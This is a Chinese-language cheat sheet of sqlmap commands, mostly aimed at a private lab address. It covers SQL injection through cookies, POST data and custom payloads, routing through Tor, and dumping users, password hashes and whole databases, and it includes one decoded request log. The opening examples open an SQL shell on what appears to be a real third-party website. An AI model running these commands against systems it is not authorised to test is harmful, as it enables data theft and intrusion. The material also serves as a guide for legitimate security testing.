整理:mickey

更新

svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
sqlmap.py -u "http://www.islamichina.com/hotelinchina.asp?cityid=2&m=1" -v 1 --sql-shell //执行SQL语句
sqlmap.py -u "http://www.islamichina.com/hotelinchina.asp?cityid=2&m=1" -v 5 //更详细的信息

load options from a configuration INI file

sqlmap -c sqlmap.conf

使用POST方法提交

sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/post_int.php" --method POST --data "id=1"

使用COOKIES方式提交,cookie的值用;分割,可以使用TamperData来抓cookies

python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/cookie_int.php" --cookie "id=1" -v 1

使用referer欺骗

python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --referer "http://www.google.com" -v 3

使用自定义user-agent,或者使用随机使用自带的user-agents.txt

python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" --user-agent "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)" -v 3
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 1 -a "./txt/user-agents.txt"

使用基本认证

python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/basic/get_int.php?id=1" --auth-type Basic --auth-cred "testuser:testpass" -v 3

使用Digest认证

python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/digest/get_int.php?id=1" --auth-type Digest --auth-cred "testuser:testpass" -v 3

使用代理,配合TOR

python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --proxy "http://192.168.1.47:3128"
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --proxy "http://192.168.1.47:8118"

使用多线程猜解

python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 1 --current-user --threads 3

绕过动态检测,直接指定有注入点的参数,可以使用,分割多个参数,指定user-agent注入

python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -v 1 -p "id
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -v 1 -p "cat,id"
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/ua_str.php" -v 1 -p "user-agent" --user-agent "sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)"

指定数据库,绕过SQLMAP的自动检测

python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -v 2 --dbms "PostgreSQL"
  • MySQL
  • Oracle
  • PostgreSQL
  • Microsoft SQL Server

指定操作系统,绕过SQLMAP自动检测

python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -v 2 --os "Windows"
  • Linux
  • Windows

自定义payload

Options: --prefix and --postfix

In some circumstances the vulnerable parameter is exploitable only if the user provides a postfix to be appended to the injection payload. Another scenario where these options come handy presents itself when the user already knows that query syntax and want to detect and exploit the SQL injection by directly providing a injection payload prefix and/or postfix.

Example on a MySQL 5.0.67 target on a page where the SQL query is: $query = "SELECT * FROM users WHERE id=('" . $_GET['id'] . "') LIMIT 0, 1";:

$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_str_brackets.php?id=1" -v 3 -p "id" --prefix "'" --postfix "AND 'test'='test"
[...]
[hh:mm:16] [INFO] testing sql injection on GET parameter 'id' with 0 parenthesis
[hh:mm:16] [INFO] testing custom injection on GET parameter 'id'
[hh:mm:16] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_str_brackets.php?id=1%27%29%20AND%207433=7433%20AND%20
%28%27test%27=%27test HTTP/1.1
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: 192.168.1.121:80
Accept-language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
Connection: close
[...]
[hh:mm:17] [INFO] GET parameter 'id' is custom injectable
[...]

As you can see, the injection payload for testing for custom injection is:

id=1%27%29%20AND%207433=7433%20AND%20%28%27test%27=%27test

which URL decoded is:

id=1') AND 7433=7433 AND ('test'='test

and makes the query syntatically correct to the page query:

SELECT * FROM users WHERE id=('1') AND 7433=7433 AND ('test'='test') LIMIT 0, 1

In this simple example, sqlmap could detect the SQL injection and exploit it without need to provide a custom injection payload, but sometimes in the real world application it is necessary to provide it.

页面比较

python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1" --string "luther" -v 1
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1" --regexp "<td>lu[\w][\w]er" -v

排除网站的内容

python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1" --excl-reg "Dynamic content: ([\d]+)"

多语句测试,php内嵌函数mysql_query(),不支持多语句

python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --stacked-test -v 1

union注入测试

python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" --union-test -v 1

unionz注入配合orderby

python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_str.php?id=1" --union-test --union-tech orderby -v 1
python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" -v 1 --union-use --banner
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 5 --union-use --current-user
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_partialunion.php?id=1" -v 1 --union-use --dbs

fingerprint

python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" -v 1 -f
python sqlmap.py -u "http://192.168.123.36/sqlmap/get_str.asp?name=luther" -v 1 -f -b

判断当前用户是否是dba

python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --is-dba -v 1

列举数据库用户

python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --users -v 0

列举数据库用户密码

python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --passwords -v 0
python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --passwords -U sa -v 0

查看用户权限

python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" --privileges -v 0
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --privileges -U postgres -v 0

列数据库

python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --dbs -v 0

列出指定数据库指定表的列名

python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --columns -T users -D test -v 1

列出指定数据库的指定表的指定列的内容

python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --dump -T users -D master -C surname -v 0

指定列的范围从2-4

python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --dump -T users -D test --start 2 --stop 4 -v 0

导出所有数据库,所有表的内容

python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --dump-all -v 0

只列出用户自己新建的数据库和表的内容

python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --dump-all --exclude-sysdbs -v 0

sql query

python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --sql-query "SELECT usename FROM pg_user" -v 0
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --sql-query "SELECT host, password FROM mysql.user LIMIT 1, 3" -v 1
SELECT usename, passwd FROM pg_shadow ORDER BY usename

保存和恢复会话

python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -b -v 1 -s "sqlmap.log"

保存选项到INC配置文件

python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -b -v 1 --save

sqlmap简单中文说明相关推荐

  1. SQLMAP参数中文解说

    来源:SQLMAP参数中文解说 Options(选项): –version 显示程序的版本号并退出 -h, –help 显示此帮助消息并退出 -v VERBOSE 详细级别:0-6(默认为1) Tar ...

  2. EasyX库简单中文手册

    作者: 948382424@qq.com 时间: 2021/2/2 EasyX库简单中文手册 第一个例程 基本元素--颜色 基本元素--圆 无边界实现圆 基本元素--直线 基本元素--长方形 基本元素 ...

  3. 软件工程概念总结-期末重点-(说人话版 简单中文+英文关键词)-拆书-第二部分建模(原书第7-11章)-罗杰S普莱斯曼

    原书:<Software Engineering: A Prationer's Approach >-- Roger S. Pressman & Bruce R. Maxim 翻译 ...

  4. TogetherEC 6.3审计功能简单中文注解

    Together 6.3 for Eclipse 3.0这个插件非常有用.我花了点时间看了Audits功能的docs,没有全部翻译,做了一些简单的中文注解.贴上来跟大家共享一下.这些条款中有一些对我们 ...

  5. java 随机生成简单中文_用java语言实现随机生成中文姓名

    中文字符一般使用的编码格式为"GB2312",那么gb2312到底是什么,简单介绍一下(参考百度百科) GB2312 一般指信息交换用汉字编码字符集. <信息交换用汉字编码字 ...

  6. sqlmap 简单操作与数据库账户密码破解

    原创地址  http://blog.csdn.net/whatday/article/details/54766536 一.SQLMAP用于Access数据库注入 (1) 猜解是否能注入 [plain ...

  7. sqlmap简单用法

    1)判断当前用户是否是dba python sqlmap.py -u "url" --is-dba -v 12)--users:列出数据库管理系统用户 python sqlmap. ...

  8. 软件工程概念总结-期末重点-(简单中文+英文关键词)-第一部分软件过程(第1-6章)-罗杰S普莱斯曼

    原书:<Software Engineering: A Prationer's Approach >-- Roger S. Pressman & Bruce R. Maxim 翻译 ...

  9. KiTTY及cnKiTTY配置文件kitty.ini的简单中文注释

    必要的简单说明: 1.对需要修改或者启用的配置需要去掉" ; "注释符号使其生效. 2.设置的值可能是"yes","no",或者具体数值,或 ...

最新文章

  1. kali linux解密栅栏密码,犯罪大师上帝之眼答案最新
  2. TypeScript学习笔记(七) - 命名空间
  3. 【Groovy】闭包 Closure ( 闭包定义 | 闭包类型 | 查看编译后的字节码文件中的闭包类型变量 )
  4. .NET:命令行解析器介绍
  5. 如何使用 Nginx 优雅地限流?
  6. oracle快照太旧含义,全解ORA-1555快照太旧错误原理及解决方案
  7. 白话详细解读(二)-----AlexNet
  8. python3的3D开发-基于blender(1)
  9. win10 家庭版 CredSSP加密Oracle修正 设置方法
  10. NCSDK make install: Error in line 170
  11. Dev TextEdit 输入提示
  12. office2019安装Mathtype7.4运行时错误‘53’,文件未找到:MathPage.WLL
  13. zend studio 10.6.2破解和汉化
  14. mysql评论与回复一起查_mysql 查询所有评论以及回复
  15. Xshell连接VMware的linux系统
  16. DisplayLink 安装错误
  17. 国人魔改后的中文优化版资源管理器,终于解决我多年的难题
  18. html表白树代码程序怎么调,抖音表白弹窗vbs代码怎么制作 表白树特效程序代码教程详细介绍...
  19. Hi3519AV100 MPP部署
  20. 悉尼大学计算机研究生学制,悉尼大学研究生一般读几年?九大领域研究生学制盘点!...

热门文章

  1. (3)verilog语言编写二分频
  2. 使用VS2015的Visual Studio Installer打包
  3. nodejs从服务器返回静态文件,nodejs静态资源服务器
  4. 数据结构之链式队列的优化
  5. 计算机常发故障英语,vipkid英语常见问题解决办法
  6. oracle权限不足的报错,Oracle Scott创建视图权限不足解决办法
  7. Spring (Bean, IoC, AOP, SpringMVC)
  8. Redis模式对比:主从模式 VS 哨兵sentinel模式 VS Redis cluster模式
  9. kafka配置文件server.properties
  10. 结对项目——个人博客